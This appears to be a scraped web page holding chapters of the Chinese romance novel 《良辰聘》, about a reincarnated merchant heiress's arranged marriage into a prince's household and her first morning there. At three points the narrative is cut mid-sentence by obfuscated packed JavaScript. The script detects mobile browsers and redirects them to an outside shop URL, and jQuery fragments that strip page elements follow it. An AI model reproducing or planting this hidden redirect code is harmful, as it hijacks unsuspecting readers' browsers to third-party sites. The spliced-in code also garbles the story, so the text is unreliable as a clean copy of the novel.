《良辰聘》 1. 大婚 春水碧于天,画船听雨眠。 春水碧于天,画船听雨眠。 四月份的江南总是湿漉漉的,细细绵绵的雨下个不停。这雨不急也不冷,像是女子的发丝,扫在人身上,痒痒的,顺着肌肤滑下,让人忍不住软了身子。 琳琅阁二楼雅间,临窗矮几旁,斜倚着一道纤细身影。女子身着月白交领襦裙,外罩一件浅碧色暗花褙子,正姿态娴雅地击拂点茶,手腕轻转,行云流水,不见半分滞涩。 她鬓发松松挽就,仅簪一支素玉簪,耳间垂着米粒大小的珍珠坠子,眉目清润,气质从容优雅,自带几分疏离贵气,看着便非寻常人家。 “小姐,这是这个月琳琅阁的收账。”琳琅阁掌柜许玉娘立在一旁,手捧一本账本,语气恭敬。 “许姨先坐吧,账本不急,先尝尝我的茶如何。”林观月声线轻缓,如山间清泉淌过青石,轻易抚平人们心中的焦躁。 侍书立在一旁,听见自家小姐的话,连忙上前接过账本,笑着对许玉娘道:“许姨快坐下歇歇,这可是小姐特意为您点的。 许月娘闻言脸上露出一抹笑意,顺势坐到林观月对面,端起面前的茶盏细细欣赏一番,盏中乳雾翻涌,锦鲤活灵活现。她由衷赞叹:“小姐点茶的手艺愈发精妙了,这锦鲤,瞧着竟同真的一般。” “许姨就会哄我。”林观月嗔笑道,露出些孩子气,让她身上那股只可远观的气质淡了些。 “我可是实话实说。”许玉娘执起茶盏轻啄一口,缓缓点头道:“小姐这茶艺,比之三年前,确实高了不少。” 许玉娘是从三年前跟着林观月的,她丈夫好赌,要将她卖去抵债,被路过的林观月救下,带到了临安,帮她管理琳琅阁。 林观月信任她,她自然也不辜负林观月的信任,三年来,将琳琅阁打理得井井有条,名扬临安。 “对了小姐,前几日知府夫人来问,问咱们最近可有新品。说是府里二小姐即将出嫁,想备一套体面的珠宝作嫁妆。”许玉娘忽然想起正事,轻声提了一句。 林观月点茶的手微顿,抬眸语气惊讶:“这么快?!” 据她所知,知府家二小姐是上个月才定下的婚事,这么快便要成亲,着实有些赶了。 “可不是嘛!”许玉娘轻叹一声:“听说是袁二公子要准备秋闱,府里不想让他分心,这才快了些。” 林观月心中暗诽:真不想打扰,就该等考过了再成婚,如今这般急,也不知到底是谁急。 但这些事同她无关,林观月听听也就过去了,不会放在心上,她需要关注的是琳琅阁的事。 “我刚好新画了一套花鸟系列,你去回知府夫人,咱们可以加急赶制,且独一份给她,不再卖予旁人。”林观月指尖轻叩桌面,语气意味深长,“你去同知府夫人说,希望今后知府大人能庇佑琳琅阁几分。” 琳琅阁不靠临安知府的庇佑也能生存,毕竟她背后是覃家——大胤最有钱的商户。 但若是能卖份人情,林观月也乐意为之。 “夫人听了必定欢喜。”许玉娘眼含笑意,又迟疑道,“那价钱……” 林观月嘴角扬起一抹狡黠笑意,意味深长道:“自然是按最贵的来,这才能配上知府夫人的身份。” 她林观月做生意可从不吃亏。 许玉娘与侍书对视一眼,皆忍不住捂唇轻笑。 “小姐,还是你聪明。”侍书日常夸赞道。 “那是自然。” 要知道,琳琅阁每季新品都是她采纳了后世元素,亲自设计,再交给上好的工匠制作出来,全大胤独一份,这也是琳琅阁生意如此好的原因。 是的,林观月不是这个世界的人,或者说,她是孟婆汤忘了喝,前世记忆没忘便投胎到这儿了。 上辈子的她是一位孤儿,一路打拼将自己的公司干到世界五百强,结果还没享受就查出乳腺癌,在病床上躺了几年就死了。再睁开眼,就来到了这个她压根没听过的大胤朝,成了西平侯府二房嫡女。 但既来之则安之,林观月对于自己能重活一次很开心,更不必说还是个富贵人家。上辈子过的太累,她这辈子就想好好赚钱,到各处走走,潇洒快活地过一辈子,弥补一下上辈子的遗憾。 所以她自十岁起,便常年跟着舅舅在外做生意,天南海北到处走,在临安的三年,已经算长的,只因这里气候养人,适合躲懒。 “叩叩叩。” 敲门声打断了林观月的思绪,她往门口望去,侍书已经前去开门了。 门被打开,抱琴快步走了进来,身上带着些微微的湿气,躬身向她行礼。 “小姐。” 抱琴同侍书一样,是她身边的丫鬟,擅长算账,今日便是被她派出去查账去了。 “起来吧。”林观月疑惑地看向她问:“怎的这时来了?可是查账出了问题。” “不是。” 只见抱琴从衣襟里掏出一封信递到她面前:“今日我去查账,碰上了舅老爷,他说这是京城的来信,说有要事,让我给您送过来。” 京城?要事? 心尖划过一抹不好的预感,林观月抬手接过信件,三两下拆开信封,取出信件看起来。 越看她的眉头蹙的越紧,连带着一旁三人的情绪也被感染,一起皱着眉头,担忧地看着她。 看完来信,林观月反倒松了眉,再次恢复了那副从容淡定的神态。 她转头望向窗外,细细绵绵的雨依旧下个不停,缠缠绵绵的,让人烦闷。 林观月望着窗外的景,良久无言,不知是在看什么,亦或是在想什么。 她不言,另外三人便也不敢贸然开口,怕说错了话。 一时雅间内静得只剩窗外雨声。 大概过了半盏茶时间,林观月收回了视线。 “侍书。” 侍书听见声音,连忙凑上前,“小姐?” “回去收拾行李,叫上入画、司棋。”她语气平静无波,“我们准备回京。” “回京?!” 三人齐齐一惊,脸色微变。 “小姐,可是府里……出了什么事?”侍书声音微紧。 林观月这才轻笑一声道:“想什么呢,家里好好的,什么事都没有。” 但侍书觉得,这笑里没多少真心。 “那我们为何突然回去?” 林观月收起来脸上的笑容,转头望向窗外的天空,眼神晦暗不明,语气平淡无波,好似在说“今天天气不错”一般。 “回去成亲。” “成亲?!” 一声轻呼,惊碎了满室烟雨。 …… 雍和十八年,八月辛巳日,宜嫁娶。 京城一早便热闹非凡,处处洋溢着喜气。长街两头人头攒动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788255|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 皆是来看热闹的百姓们。 今日乃是宣王府嫡子与西平侯府二房嫡女大婚之日。此乃圣上赐婚,得天独厚。这般体面的婚事,足以让整个京城都赶来凑热闹。 街边人群挤挤挨挨,议论声此起彼伏。 一位穿褐色短褂的汉子,抱着胳膊望着缓缓行来的迎亲仪仗,忍不住同身旁同伴叹道:“要我说,这林二小姐真是好福气,竟能嫁入宣王府。” “可不是嘛!宣王可是当今圣上一母同胞的亲兄弟,这二公子的舅舅更是战功赫赫的定国公,虽说这人……是浑了些,但这林二小姐也算是高嫁了。”此人身着灰色长衫,长相也比之那汉子清秀些。 “可话也不能这么说!”一旁提着篮子的妇女闻言反对,语气带着些惋惜:“要我说,这林二姑娘也是可怜,这宣王二公子的名声,京城谁不知?有哪位名门闺秀愿意嫁他?再说了,就凭林二姑娘这十里红妆,嫁谁嫁不得?偏偏嫁给宣王二公子,以后必然要受苦了。” “非也。”身着灰色长衫的男人摇摇头,语气笃定:“如若不是这宣王二公子顽劣了些,这婚事如何能轮到林二姑娘?那可是宣王府!当今陛下的亲弟弟!不是有钱就能随意攀上的高枝!” 妇人抿了抿唇,终究是没再争辩,只是重重叹了口气,眉眼间满是唏嘘:“说到底也是命运弄人,若是当年二公子不曾被拐走,如今定然同王府大公子一般,是个芝兰玉树的翩翩公子,何至于落得这般顽劣不堪的名声。” 这次,两位男人也没再反驳,皆是垂眸轻叹,一脸惋惜。 不远处,高头大马之上,祁云羡将最后一句话一字不落地听进耳中。 他紧紧攥着缰绳,眼神不自觉沉了下来,覆上一层阴郁。 他便是几人口中议论的主角——宣王府二公子,今日这场婚礼的主角,也是京城有名的纨绔。 三岁那年,他被人贩子拐走,再被找到时,已经十三岁了。 他在外漂泊多年,身上沾染了一身坏毛病,在父母看来粗鄙不堪,让他们觉得丢脸。最重要的是,他还多了个“哥哥”,处处同他比较,将他显的更加不堪。 祁云羡不愿可怜兮兮地去祈求父母的爱,索性任性妄为,我行我素,当个无所事事的纨绔。 祁云羡缓缓回头,望向身后那顶极尽奢华、被众人簇拥着的大红花轿,心头骤然涌上一股难以言喻的烦躁。 今日这场婚事非他所愿,他反对过也抗争过,可最终还是得乖乖来迎亲,就如同他的人生一样,从来都不能让他自己做主。 他鼻腔里溢出一声冷嗤,心底暗自打定主意:娶便娶了,但想让他跟这位林二小姐做真夫妻,绝无可能。等入夜,他便把话同她说清楚,还希望这林二小姐不要太难缠。 与此同时,十里红妆的花轿内,却是一片静谧。 林观月对祁云羡的心理活动不得而知,她眼前皆是浓重的红,沉甸甸的,像是笼住了她整个人生,看不清前路,望不见尽头。 林观月缓缓将眼睛闭上,听着外面吵闹的声音,一颗心却十分平静,无悲无喜,亦无担忧害怕。 她的路在自己心中,不用任何人来指点,也不会被谁掌控。这世间,能决定她命运的,只有她林观月自己。 …… —— “春水碧于天,画船听雨眠”出自【唐】韦庄《菩萨蛮》。 3. 晨愠 翌日,天光未亮,林观月便已起身,侍书和入画进来伺候她洗漱打扮。 期间祁云羡在外间软榻上睡得很熟,除了微微蹙眉外,没有一点转醒的迹象。 林观月暂时懒得搭理他。 “小姐,今日敬茶,要穿哪件?”侍书压低声音问道。 林观月扫了一眼入画手中捧着的衣裳,选了一件藕荷色褙子,配月白交领长裙,素净却不失端庄。头上也只簪了一支白玉兰簪,耳畔坠了两粒珍珠,简约清雅。 “小姐未免太素了些……”入画有些担忧。 林观月对着镜子理了理鬓角,淡淡道:“初入王府,不宜过于张扬。” 她顿了顿,又补了一句,“况且,就算我穿的素,也不会有人真以为我穷。” 这话说的,让侍书和入画都捂嘴偷笑起来。 可不是嘛,就昨天林观月那十里红妆,谁会小看她?怕是有些眼皮子浅的,还惦记着她的嫁妆呢。 所以,既然都知道她有钱,那她就不能太张扬,万一惹人眼红,岂不是自找麻烦。更何况,低调大方些,便于她先蛰伏观察王府情况。 “去将二公子唤醒吧。” 换完衣服,林观月坐到梳妆台前,让侍书给她梳头,同时对身后的入画吩咐道。 “对了,”林观月又补充,“让他的小厮进来叫,你别去。” 入画躬身道:“是,小姐。” 门口 长喜和元宝一早就候在门外,如今有了女主人,他们不敢冒昧进去,却也怕二公子有事找他们,只得一大早便候在门外。 入画打开门,就看到门口两个小厮装扮人,出声询问:“二位可是二公子的小厮?” 长喜连忙上前躬身道:“是,这位姐姐,可是二公子有何吩咐?” 入画微微欠身还了一礼,随后侧身让开,“二公子还在熟睡,夫人让你们进去把二公子叫醒,不要误了时辰。” “是。” 长喜和元宝不敢多言,快速推搡着进门。 虽说二人心底疑惑,怎的二夫人不叫二公子,要让他们来叫,但面上却也不敢多问。 思绪纷飞间,二人已至外间。看到在卧榻上睡得香的二公子,二人这下什么都懂了——看来昨晚二公子和这位新夫人是没有圆房,还被新夫人赶到了这外间卧榻上。 长喜和元宝对视一眼,皆看到对方眼中的惊讶,但二人都不是没眼力见的,当下只做不知,走至卧榻旁。 长喜上前两步,屈下双膝跪至榻前,抬起双手,轻轻搭在祁云羡胳膊上,晃动两下,低着嗓子叫:“二公子,二公子,该起了,今日还要敬茶,您再不起就晚了。” 祁云羡毫无动静,侧过身子,将头转向里侧,还吧唧两下嘴,显然睡得香。 长喜为难地看向一旁侯着的入画,讨好的笑了笑道:“这位姐姐,您看这……?” 入画回以微笑,语气里却满是拒绝之意:“二公子以往都是你们伺候,婢子哪里敢僭越……不如小哥试试大声点?刚刚那声音,连我都差没听见呢。” 长喜表情为难,眼神不停地瞟向里间,入画表情不变,却也没有改变主意的意思,显然这就是林观月的意思。 长喜于是退了下去,把元宝推了上去,“你去,你去。” “诶呦!” 元宝被推得一踉跄,他回头,对上长喜催促的眼神,垂下眼睑,再次转头时,一脸为难的看向入画,在入画的微笑下,又为难地走向榻前。 元宝小心翼翼地将手搭在祁云羡胳膊上,看上去好似十分害怕祁云羡醒来发脾气,叫人的声音甚至比长喜还要小:“二公子,二公子?该起了。” 祁云羡毫无反应,元宝便退开几步,低着头,为难地对入画说:“这位姐姐,您就别为难我了。” 入画微微蹙眉,刚想开口说“我为难你什么了”,里面便传来动静—— “入画。” 林观月的声音从里面传来,随后,帘子被撩起来,林观月从帘子后走了出来。元宝连头都没敢抬,余光里瞧见一片衣角,便连忙跪了下来,“小的给二夫人请安。” 长喜慢了一步,但他看见了林观月的长相,随后听到元宝的声音,也连忙跟着跪了下来,“小的给二夫人请安。” “起来吧。” 二人小心翼翼起身,垂着头躬身站好,等待着新夫人的吩咐。 林观月眼神在两人身上转了一圈,开口询问:“你们两个,看起来好似很害怕叫二公子起床这件事?” 长喜与元宝悄悄转头对视一眼,长喜率先抬头,拱手讪笑道:“二夫人,并非是我等不愿听您吩咐,实在是您有所不知啊!” 林观月饶有兴趣的看着两人,“哦?既然我‘有所不知’,那不如你们说来听听?” 二人又对视一眼,林观月敏锐看到,长喜对元宝使了个眼色,紧接着,元宝便犹犹豫豫的抬手冲她施礼。 “二夫人有所不知,我家公子脾气大,尤其是还有晨愠,若是没有睡够便被叫醒,公子是要发脾气的!” 林观月状如顿悟,轻轻点头道:“是吗?二公子脾气这么大啊?” “可不是吗?公子他……诶呦!”元宝附和的话还没说完,就被长喜踢了一脚。 长喜挤上前对林观月躬身道:“二夫人不要误会,我家公子只是性情了些,平时待人还是很谦和的。” 他一脸尴尬,明显说的话违心,好似怕她因为这个嫌弃祁云羡一般。 “是吗。” 林观月轻笑一声,缓步走向卧榻边,微微俯下身子打量塌上的人——祁云羡还睡着,半张脸埋在被褥里,呼吸均匀,几缕碎发垂落在额前,倒是显出几分少年气。 她轻轻勾了勾唇角。 这么吵还能睡着,真是让人羡慕的睡眠质量啊。 她直起身子,看向一旁“战战兢兢”的两人道:“可是我今天就想见识一下。” 林观月微微偏头看向入画,入画立马凑上前来,林观月偏头同她耳语几句,入画便伏了伏身子转身出去了。 长喜和元宝二人对视一眼,皆是一副摸不着头脑的模样,偷偷瞧了一眼林观月,但林观月却并没有跟他们解释是意思,转身带着侍书走向外间坐下。 不一会儿,入画便回来了,手里还拿着一面铜锣。 侍书跟她对视一眼,悄悄抿了抿唇,抬手给林观月添茶,长喜和元宝见此则是相互对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788257|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一眼,四眼迷茫不解。 最终还是长喜率先开口,他看着入画,讨好的问:“这位姐姐,不知这是……?” 入画微微一笑,将手中是铜锣往前递了递,嘴里解释着:“夫人吩咐你们,用这个把二公子叫醒。” “这……”长喜一脸为难,“这位姐姐,您这不是为难我等吗?” 入画笑容不变,“这位小哥,你的意思是,夫人为难你们?” “这,这这这自然不是,我等可不敢揣测夫人,只是……”长喜一脸慌乱解释。 入画不为所动,将手中的铜锣又往前递了递,“那两位就别耽误了,再耽误下去,怕是要误了时辰了,到时候……怕是两位担待不起啊。” 此话一出,两人是再没理由拒绝了,若是再推脱下去,敬茶迟了,那便是他们两个的过失了。 元宝看了看长喜,抬手接过了铜锣。 “麻烦这位姐姐了。” “不麻烦。”入画双手交叠于腹部,后退几步让开位置,候在一旁,显然没有插手的意思。 元宝便将求助的目光投向了长喜,还把手里的铜锣送了送,“长喜哥,您看这……” 长喜又抬眼看了眼入画,得到对方一个完美的笑脸。他收回视线,转眼看见举着铜锣的元宝,毫不客气地将他推到榻前。 “你去。” 元宝震惊的转头,待看清长喜眼中威胁是神色后,又讪讪地转过来。他看着塌上睡得熟的祁云羡,心一狠眼睛一闭,抬手便用力地敲了下去,发出响亮的一声。 “怎么了!怎么了!着火了吗?!”祁云羡瞬间坐起身子,瞪大双眼惊恐的看着周围。 “公,公子……”元宝尴尬地看着他,手上还拿着作案工具。 祁云羡眨了眨眼睛,环视一圈,最后落在元宝手里,等反应过来怎么回事后,长长叹了一口气,随后拿起枕头朝他扔了过去。 “你有病吧?!大早上不睡觉干什么呢?!” 祁云羡抬手拍了拍胸口,一脸被气到了的模样。 元宝连忙接住枕头,随后委屈地看着祁云羡,眼神瞟了一眼入画,小声道:“是夫人让我这么叫你的……” 祁云羡蹙起眉头,一脸嫌弃,“你嘟嘟囔囔什么呢?大声点!” 元宝看了一眼入画,随后眼一闭提高声音道:“是夫人让我这么叫你的!” “夫人?谁啊?哪来的……”祁云羡一时没反应过来他说的谁,随即看到屋内还没撤去的红绸才突然想起来,自己昨天成婚了,那这夫人自然就是…… 祁云羡开始四处环视起来,没看到林观月的身影,只看到了个小丫鬟。 “你们小姐呢?”祁云羡看向入画问道。 入画还没回答,林观月的声音变从外间传来,“二公子,既然醒了,就抓紧时间收拾一下吧,等会还要敬茶,若是迟了,怕是要耽误不少时间。” 祁云羡听到林观月的声音,探头朝外间看去,可什么都没看到,于是便放弃。 他起身下床,对一旁的长喜道:“我要更衣。” “是,公子。” 外间的林观月,她一边吃着茶,一边听着里面传来的动静,嘴角轻轻扬起。 4. 敬茶1 待祁云羡收拾完后,时辰已经不早了,二人顾不得吃早膳便往琼华院赶去。 一行人走在小路上,祁云羡步子大,不一会儿就将林观月甩下一大截。林观月也不追,依旧保持着自己的速度慢悠悠走着。 祁云羡走了一会儿,察觉身后的人没跟上来,扭头看去,自己这位新夫人离自己老远,正不疾不徐地走着,连耳坠子都几乎未动几分。 “二公子,这时辰也不早了,不如您催催二夫人?不然若是耽误了时辰,王爷和王妃少不了怪罪。”长喜凑上前些,对祁云羡低声劝道。 祁云羡轻轻蹙了蹙眉,转身拐了回去。 “你不能走快些吗?” 林观月依旧保持着自己的速度,祁云羡只得也放慢脚步跟在她身边,只是不同于林观月的淡然从容,他的脸上,隐隐约约浮现着焦急,以及一丝不易察觉的担忧。 “二公子很担心吗?”林观月的声音清泠,语气不急不缓,依旧是平时的模样。 “我有什么好担心的?该担心的不应该是你吗?”祁云羡下意识否认,“你入门第一天,敬茶都能迟到,这不是给别人抓你错处的机会吗?” 林观月故作惊讶地看他一眼,“二公子还懂这些呢?” 祁云羡炸毛,“喂!你什么眼神?难不成我在你心里是个傻子不成?!” 林观月但笑不语,把祁云羡气的脸都红了,可最终又生生忍下来。侍书和入画在身后看着这一幕,彼此对了个眼神,偷偷弯了弯唇角。 看来二公子碰上她们小姐,就只有吃瘪是范围内而。 “我说认真的!”祁云羡语气郑重了些,“宣王府没你想的那么简单,你初来乍到,今日必定有许多人寻你错处。” “我知道啊。” “你知道你还这么淡定?”祁云羡深深不解,这女人到底知不知道这事的严重性啊?! 林观月突然停下来脚步,祁云羡也跟着停下,就在祁云羡以为她要同他说什么正事的时候,林观月问:“二公子,你饿吗?” “啊,啊?”祁云羡懵了,一时竟然没反应过来。 不是,他看在与她是同盟的份上,在这儿着急忙慌替她担忧,结果她竟然在考虑饿不饿的问题?! 真是……好吧,确实有些饿了。祁云羡下意识抬手摸了摸肚子。 “侍书。”林观月微微抿笑,朝身后招招手。侍书上前两步,将一个丝巾包裹的东西抵到她手中。 林观月接过来,抬手轻轻展开丝巾,里面竟然是两块喜饼。 林观月微微抬手,往前递了递道:“今日这场敬茶必不会太平,怕是也早走不了,你早晨没吃饭,先垫垫肚子。” 祁云羡眨了眨眼睛,眼底划过一抹茫然神色。 但很快,他就反应过来了。 他觉着她说的有道理。 祁云羡抬手拿起一块喜饼咬了一口,一边吃一边问:“你还有心情吃东西?” 林观月看着他的动作,嘴角的弧度又深了些许。她将另外一块喜饼也塞到他手里,抬脚继续以那种不疾不徐的速度走,顺便回答:“天大地大,吃饭最大,总归都是要挨训的,还不如饱着肚子去。” “有道理。”祁云羡点点头,又咬了一口喜饼,嘟囔一句:“不够甜。”随即又将另一块被丝巾包着的喜饼往林观月眼前稍稍抬了抬,问:“你不吃吗?” 林观月回道:“等你洗漱的功夫已经吃过了。” 祁云羡就没再问,专心吃了起来。或许是受林观月影响,他现在倒也没那么担心了,反正都要挨骂,还不如饱着肚子去。 二人这边气氛融洽,琼花院里却气氛紧张,风雨欲来。 “这都什么时辰了?怎么二公子和新媳妇还不来呢?”说话的是冯氏,长着一张柔情似水的脸蛋,育有一子一女,是宣王外出办差事路上救下的孤女。 “诶~这二公子年轻气盛,新婚之夜难免折腾,起的晚了些,也正常不是?王爷王妃必能理解的。” 这是孙氏,也是王爷的侍妾,良家女,入府时间比冯氏早些,相貌却丝毫不输孙氏。 若说冯氏是柔情似水,那孙氏就是火辣如火,不仅身材火辣,性子也辣,尤其是一张嘴,更是从不肯吃亏。 宣王妃楚明媛轻轻蹙了蹙眉,呵道:“你们两个不想在这,就老实回自己院子呆着!姑娘们都在,不清楚什么话能说?!” 二人被骂了,皆是一脸委屈。孙氏憋屈地朝王妃伏身行礼,不情不愿道:“是。”随后快速瞪了一眼冯氏。 而冯氏则柔柔弱弱地起身,朝王爷王妃伏了伏身子,委屈巴巴道:“是,谨遵王妃教导。” 罢了,还朝王爷那里投了委屈柔情的一眼,犹犹豫豫地转回来坐好,一副委屈的不行的模样。 孙氏瞧见这一幕,翻了个大大的白眼。 骚狐狸!真是一刻都坐不住!没看到王妃还在上面坐着呢?就敢勾引王爷。蠢货! 而王妃这次没再指责孙氏,她端起茶盏,持盖轻刮汤面,待浮沫散尽,方缓声道:“冯氏,身体不舒服就早些回去歇着,用不着在这儿强撑。” 冯氏这次也不敢朝王爷那儿看了,毕恭毕敬的起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788258|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 身行礼,“多谢王妃体谅,我不碍事的。” 王妃静静看了她两秒,抬手轻啄一口,随即放下茶盏才道:“回去后将《金刚经》抄十遍,佛经有利于养身辟邪,你身子还是太弱了些。” 轻飘飘一句话,定了冯氏的处罚,却没人敢说什么,连王爷也不曾置喙。 毕竟,这不是“处罚”。 冯氏脸上的柔媚霎时僵了僵,可到底不敢在王妃面前甩脸子,只得咬着后槽牙伏身应了句“是”,又委委屈屈地坐了回去,连指尖都攥得泛白。 孙氏看着这一幕,幸灾乐祸的勾了勾唇角。 正堂里一时安静下来,只余茶盏磕碰的细碎声响。 宣王和宣王妃各自端坐着,底下其他人即使各怀心思,却也不敢再冒头。 祁云琛将一切人的表现尽收眼底。他端起一杯茶,轻刮两下,抬手送到嘴边。 不知这位新弟妹,能否应付得了这一群各怀心思的人,他很期待啊…… 又过了约莫一盏茶的工夫,门外终于传来脚步声。 “二公子、二夫人到——” 祁云羡与林观月一前一后跨进正堂。祁云羡步子比方才放慢了许多,显然是刻意配合着林观月的速度。二人走到堂中,齐齐站定。 林观月微微抬眼,不动声色地扫了一圈堂内众人——主位上那个面白貌好的老法拉利,应当就是宣王祁峥,只能说真不愧是以前赫赫有名的美男子,即使如今这年岁,也依旧饶有韵味; 他身旁端坐的王妃楚明媛,仪态端方,眉眼间英气,装饰打扮都很威严,但林观月却觉得,有些老气; 下首右侧首位坐着一位蓝色锦袍男人,长相倒也英俊,一身靛蓝锦袍显得人沉稳大气。此人估计就是传闻中,同祁云羡一起出现在说书先生口中的“假世子”祁云琛了。 再往下是几个公子,分别是温润如玉的三公子祁云霖,一脸看好戏模样的四公子祁云景以及尚且八岁的五公子祁云川; 下首左侧坐着的是侧妃李氏,是从六品小官户部员外郎的嫡女,育有一儿一女,分别是大小姐祁舒宁和四少爷祁云景。 再往下是两个妇人装扮的女人,一个柔弱含怯,一个明艳带刺,应当是王爷的侍妾,冯氏与孙氏; 之后是一个长相温婉,身着青绿色系服饰的女人,估计就是大少夫人崔令仪了,她出身清河崔氏,其祖父是当代大儒崔颐,清贵出身; 她身旁是三少夫人钟晚凝,是永州知州的女儿。 而几位小姐则是站在自家姨娘身后。偌大一个正厅倒显得有些拥挤起来。 5. 敬茶2 林观月扫视一圈,便将人物身份对了个七七八八,瞧见这阵仗,心中只觉好笑。 她面上神色未变,随着祁云羡一道,恭恭敬敬地朝上首行礼。 “儿子给父王、母妃请安。” “儿媳给父王、母妃请安。” 两人声音叠在一处,一个清朗,一个清泠,倒是意外的和谐。 宣王抬眼看了看他们,笑眯眯抬手,活像一个慈父:“来了就好,快起来吧。” 王妃却未轻易揭过,她的目光落在林观月身上,从头到脚细细打量了一番,方才淡声道:“林氏,今日是你入门第一日,按理该早些过来敬茶,怎么到了这个时辰才来?” 这话问得不算重,可在座的哪个不是人精,都听得出里面那层薄薄的责问。 祁云羡轻轻偏过头,眉尾微微上扬,示意林观月是否需要他打个圆场。得到林观月拒绝的示意后,眉尾挑的更高了,随即一边嘴角轻挑,一副看好戏的模样。 他倒要看看这林观月到底有什么真本事! “回母妃的话,此事只因我初来乍到,不知晓府中具体情况,这才失了规矩。”林观月不慌不忙,微微福了福身子,姿态端庄沉稳,语气清泠如常,带着些许赧意:“母妃有所不知,昨夜大婚之日,我听到几个婢子闲聊,说起母妃平日里,最疼的便是二公子。因为心疼二公子早起,还特意将每日请安的时间推迟了些。我这初来乍到,也不敢贸然破坏了府里的规矩,故而昨夜特意询问了二公子平日请安的时间,得知那些婢子所说非虚,这才特意晚些来请安,只因怕扰了母亲休息,却没想到……还是失了规矩……” 林观月一脸赧色,头轻轻低着,语气有些飘忽,好似十分担心。她咬了咬牙,再次郑重抬头,像是英勇就义一般,对王爷王妃行礼道歉:“此事是儿媳的疏忽,还请父王母妃宽恕。” 此话一出,祁云羡先是忍不住瞪大眼睛朝林观月看去。若不是他就是她嘴里的二公子,怕是连他都要信了这鬼话了! 这女人,也太能编了吧?! 不过祁云羡也没那么傻,他迅速收敛表情,一脸兴致勃勃地看戏。 偌大又稍显拥挤的正厅一时安静下来,连杯盏磕碰的清脆声都不曾有。众人看着这位新来的二夫人,心思各异,皆是一番思索打量。 王妃微微眯了眯眼,探究的目光落在了林观月身上,仔细打量着自己的这位新儿媳——一身藕荷色褙子配月白交领长裙,素净却不失端庄,配上脸上真诚的歉意和惶恐……一时间,竟让她看不出这是她找的借口,还是却有此事。 “不碍事。”王妃刚刚严肃的面容如春风化雨般,不着痕迹地转换成一副慈爱宽容的笑脸,她轻轻抬手,道:“好孩子,快起来吧,你初来乍到,这些原也怪不得你。” 王爷刚刚一直在当透明人,此刻也笑呵呵跟着附和:“就是就是,今后都是一家人了,用不着这么客气。” 王妃含笑着跟着点头,夫妻二人倒真像一对慈祥宽和的父母。 “是,多像父王,母妃。”林观月起身站好,头依旧微微低着,瞧着一副软性子。 王妃朝身边的秦嬷嬷使了个颜色,秦嬷嬷微微颔首,随机轻咳一声道:“二公子,二夫人,时辰不早了,该敬茶了。” 林观月轻轻颔首,随后走至祁云羡身旁,与其一同上前。林观月在早就备好的蒲团上跪下,而祁云羡则站在她身侧。 随后依循着秦嬷嬷的唱喏口令—— “一拜先祖宗祠,天地伦常——叩!” 林观月和祁云羡齐齐拜下。 “起!——” “二拜王爷,王妃抚育深恩——叩!” 林观月依循着指令,再次拜下,但这一次,祁云羡却站在那儿,迟迟没有动作。场上气氛顿时冷了下来。 秦嬷嬷看着祁云羡,又偷偷瞥了眼王爷王妃的脸色——王妃面无表情,一双眼神冷得很,就连刚刚一直笑眯眯的王爷,此刻也染上了怒容。 秦嬷嬷连忙收回视线,不敢再看,心有戚戚,忍不住轻声提醒:“二公子,该拜了。” 所有人都将目光投向祁云羡——祁云琛拿起一旁的茶盏,揭开盖子轻轻吹了吹浮沫,用杯盏挡住嘴角的弧度; 崔令仪和李侧妃则是一脸淡然,好似不知发生了何事一般,一副事不关己的模样; 其余人,除了大小姐祁舒宁一脸担忧地看着祁云羡外,其余人,皆是一脸幸灾乐祸,等着看好戏的表情。 林观月也忍不住偷偷抬头,她从下往上看,瞧着祁云羡好似是在发呆,眼神空空的,像是不聚焦。 这个时候发什么呆!这不是上赶着给人递把柄吗?! 林观月心中暗骂一声,随后抬手,轻轻扯了扯祁云羡的衣角。 祁云羡下意识低头看去,同林观月对上了眼神。林观月瞪了他一眼,轻轻偏头示意前方,祁云羡下意识随着她的动作抬头往前看,正好对上冷漠愤怒的父母。 他再次低头,看到的便是林观月威胁的表情。 祁云羡移开眼睛,目光最后落到主位旁边桌上的那盘糕点上——是一盘喜饼。 罢了。 他轻轻呼出一口气来,抬手俯身拜了下去。 秦嬷嬷见状大喜,连忙继续接下来的流程,高声唱道: “起!——” 林观月从蒲团上起身,稍稍理了理衣服后,偏头看了祁云羡一眼,他依旧是沉默的,看不出什么情绪。 好像自从来了这琼华院,他便没说过一句话。林观月突然想起。 “二夫人,接下来请您亲自点茶,为王爷王妃敬茶。” 大胤朝传统,新媳妇过门第二天,需得亲自点茶奉给公婆。 婢女们已经将点茶用的工具备好,林观月微笑颔首:“是。” 